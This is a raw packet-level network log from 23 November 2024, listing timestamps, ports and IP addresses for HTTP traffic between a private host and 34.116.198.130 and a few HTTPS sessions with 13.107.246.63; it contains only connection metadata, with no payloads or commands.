Nov 23, 2024 11:22:26.044609070 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.044626951 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.045403004 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.045435905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.045450926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.045490026 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.046328068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.046384096 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.046384096 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.046401024 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.047271013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.047293901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.047310114 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.047343016 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.047363043 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.048180103 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.048258066 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.048273087 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.048305988 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.048322916 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.048602104 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.049146891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.049170017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.049185038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.049226999 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.049638987 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.049660921 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.050066948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.050116062 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.050128937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.050143957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.050204039 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.050221920 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.050230026 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.050997972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.051045895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.051062107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.051132917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.051930904 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.051971912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.051986933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.051989079 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.052151918 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.052890062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.052937984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.052953959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.052978992 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.053806067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.053848028 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.053884983 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.053906918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.054745913 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.054776907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.054791927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.054792881 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.054816008 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.055692911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.055763960 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.055816889 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.055834055 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.056457043 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.056659937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.056710005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.056725025 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.056766987 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.057576895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.057627916 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.057632923 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.057647943 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.058499098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.058537960 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.058545113 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.058554888 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.058577061 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.059417009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.059473991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.059490919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.059515953 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.059530973 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.060348034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.060405970 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.060422897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.060453892 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.061443090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.061484098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.061500072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.061531067 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.061556101 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.062199116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.062527895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.062551022 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.062572002 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.062576056 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.063431978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.063478947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.063487053 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.063496113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.063520908 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.064376116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.064414024 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.064428091 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.064429998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.064483881 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.065303087 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.065327883 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.065345049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.065390110 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.066253901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.066324949 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.066334963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.066351891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.067256927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.067272902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.067291021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.067308903 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.067332983 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.068115950 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.068150997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.068166971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.068198919 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.068214893 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.069031000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.069088936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.069142103 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.080775976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.080823898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.080841064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.080915928 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.081106901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.081160069 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.081209898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.081696033 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.081734896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.081749916 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.081785917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.081814051 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.082593918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.082643986 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.082660913 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.082705021 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.083570004 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.083592892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.083609104 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.083626986 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.083642006 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.088982105 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.092999935 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.093020916 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.093499899 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.093503952 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.105894089 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.108735085 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.108757019 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.109117031 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.109122038 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.142261982 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.142594099 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.142611027 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.143028021 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.143033028 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.189240932 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.192718983 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.192728043 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.193094969 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.193099022 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.251640081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.251684904 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.251701117 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.251756907 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.252032042 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.252074957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.252075911 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.252091885 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.252448082 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.253021955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.253199100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.253226995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.253242016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.253267050 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.253298044 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.254067898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.254115105 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.254131079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.254154921 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.255004883 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.255032063 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.255044937 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.255048037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.255964994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.256006002 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.256032944 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.256048918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.256074905 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.256865025 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.256901026 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.256917000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.256946087 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.256963015 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.257846117 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.257860899 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.257875919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.257894993 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.258745909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.258790016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.258805990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.258829117 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.258852959 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.259756088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.259813070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.259829998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.259864092 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.260679007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.260729074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.260745049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.260782003 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.260818005 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.261537075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.261563063 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.261578083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.261611938 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.262473106 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.262497902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.262512922 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.262521029 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.263430119 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.263474941 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.263489962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.263499022 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.263508081 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.264431953 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.264446974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.264461994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.264491081 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.264519930 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.265326977 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.265352011 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.265366077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.265398026 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.266227007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.266251087 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.266266108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.266277075 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.266308069 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.267144918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.267185926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.267200947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.267244101 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.268099070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.268114090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.268131018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.268148899 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.268178940 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.268994093 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.269090891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.269108057 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.269140959 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.269946098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.269975901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.269994020 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.269998074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.270903111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.270927906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.270944118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.270973921 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.271801949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.271852016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.271853924 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.271867990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.271907091 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.272753000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.273135900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.273159027 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.273174047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.273188114 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.273220062 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.274000883 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.274050951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.274065971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.274108887 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.274919987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.274960041 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.274970055 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.274986982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.275835037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.275882959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.275895119 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.275899887 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.275928020 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.276784897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.276823997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.276839018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.276874065 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.276901960 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.277904987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.277944088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.277959108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.277995110 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.278728962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.278776884 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.278800011 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.278815031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.279575109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.279628992 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.279644012 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.279680014 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.291364908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.291388035 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.291403055 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.291439056 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.291465044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.291481018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.291507959 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.292357922 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.292391062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.292404890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.292440891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.292474031 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.293107033 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.293139935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.293154955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.293188095 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.294049978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.294095993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.294100046 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.294111967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.294949055 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.295002937 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.462203026 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.462272882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.462289095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.462456942 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.462615013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.462665081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.462681055 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.462703943 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.462735891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.463489056 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.463685989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.463732958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.463749886 CET	80	49786	34.116.198.130	192.168.2.4
